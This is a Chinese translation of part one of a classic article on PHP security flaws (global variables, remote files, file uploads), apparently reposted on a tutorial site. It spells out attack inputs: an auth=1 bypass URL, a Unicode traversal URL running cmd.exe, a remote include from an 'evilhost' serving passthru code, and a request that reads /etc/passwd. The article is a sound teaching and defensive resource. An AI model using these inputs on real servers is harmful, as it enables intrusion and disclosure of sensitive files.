如何对PHP程序中的常见漏洞进行攻击(上)


Posted in PHP onOctober 09, 2006

如何对PHP程序中的常见漏洞进行攻击(上)
翻译:analysist(分析家)
来源:http://www.china4lert.org

如何对PHP程序中的常见漏洞进行攻击(上)

原著:Shaun Clowes <http://www.securereality.com.au/>
翻译:analysist <http://www.nsfocus.com/>

之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。

文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。

好了,废话少说,我们言归正传!

[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。

很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。

例如:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。

译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:

<?php
  if ($pass == "hello")
    $auth = 1;
  ...
  if ($auth == 1)
    echo "some important information";
?>

上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。

表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。

因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。

[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:

<?php
  if (!($fd = fopen("$filename", "r"))
    echo("Could not open file: $filename<BR>\n");
?>

上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。

例如:
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。

这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

例如:
<?php
  include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:

<?php
  passthru("/bin/ls /etc");
?>

然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。

需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt

[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。

因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。

作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:

<?php
  if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。

获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

<未完待续>

PHP 相关文章推荐
php 文章采集正则代码
Dec 28 PHP
php feof用来识别文件末尾字符的方法
Aug 01 PHP
php中将html中的br换行符转换为文本输入中的换行符
Mar 26 PHP
thinkphp循环结构用法实例
Nov 24 PHP
Yii框架登录流程分析
Dec 03 PHP
php5.4以下版本json不支持不转义内容中文的解决方法
Jan 13 PHP
MySql数据库查询结果用表格输出PHP代码示例
Mar 20 PHP
PHP生成图像验证码的方法小结(2种方法)
Jul 18 PHP
php实现购物车产品删除功能(2)
Jul 23 PHP
PHP PDO数据库操作预处理与注意事项
Mar 16 PHP
PHP7导出Excel报ERR_EMPTY_RESPONSE解决方法
Apr 16 PHP
PHP数组与字符串互相转换实例
May 05 PHP
PHP4在WinXP下IIS和Apache2服务器上的安装实例
Oct 09 #PHP
PHP 和 MySQL 开发的 8 个技巧
Oct 09 #PHP
用PHP连接Oracle数据库
Oct 09 #PHP
PHP面向对象编程快速入门
Oct 09 #PHP
PHP模拟SQL Server的两个日期处理函数
Oct 09 #PHP
PHP实现的功能是显示8条基色色带
Oct 09 #PHP
提升PHP执行速度全攻略(上)
Oct 09 #PHP
You might like
全国FM电台频率大全 - 28 甘肃省
2020/03/11 无线电
smarty+adodb+部分自定义类的php开发模式
2006/12/31 PHP
php 随机生成10位字符代码
2009/03/26 PHP
用PHP代替JS玩转DOM的思路及示例代码
2014/06/15 PHP
php表单提交与$_POST实例分析
2015/01/26 PHP
laravel容器延迟加载以及auth扩展详解
2015/03/02 PHP
thinkphp微信开发(消息加密解密)
2015/12/02 PHP
php 判断页面或图片是否经过gzip压缩的方法
2017/04/05 PHP
怎么用javascript进行拖拽
2006/07/20 Javascript
JS特殊函数(Function()构造函数、函数直接量)区别介绍
2013/05/19 Javascript
javascript文本框内输入文字倒计数的方法
2015/02/24 Javascript
jQuery编程中的一些核心方法简介
2015/08/14 Javascript
JavaScript中使用数组方法汇总
2016/02/16 Javascript
总结Node.js中的一些错误类型
2016/08/15 Javascript
深入浅出ES6之let和const命令
2016/08/25 Javascript
JS获得一个对象的所有属性和方法实例
2017/02/21 Javascript
如何使用bootstrap框架 bootstrap入门必看!
2017/04/13 Javascript
BootStrap表单控件之复选框checkbox和单选择按钮radio
2017/05/23 Javascript
bootstrap是什么_动力节点Java学院整理
2017/07/14 Javascript
JS库 Highlightjs 添加代码行号的实现代码
2017/09/13 Javascript
微信小程序之多列表的显示和隐藏功能【附源码】
2018/08/06 Javascript
Vue项目使用localStorage+Vuex保存用户登录信息
2019/05/27 Javascript
[02:53]DOTA2英雄基础教程 山岭巨人小小
2013/12/09 DOTA
[01:22:10]Ti4 循环赛第二日 DK vs Empire
2014/07/11 DOTA
python抓取最新博客内容并生成Rss
2015/05/17 Python
PYTHON压平嵌套列表的简单实现
2016/06/08 Python
简单谈谈Python的pycurl模块
2018/04/07 Python
tensorflow: variable的值与variable.read_value()的值区别详解
2018/07/30 Python
Python数据预处理之数据规范化(归一化)示例
2019/01/08 Python
pycharm配置当鼠标悬停时快速提示方法参数
2019/07/31 Python
45个非常奇妙的CSS3 特性应用示例
2012/01/01 HTML / CSS
微软澳洲官方网站:Microsoft Australia
2017/01/10 全球购物
《识字五》教学反思
2014/03/01 职场文书
班主任评语大全
2014/04/26 职场文书
公共机构节能宣传周活动总结
2014/07/09 职场文书
竞选大学学委演讲稿
2014/09/13 职场文书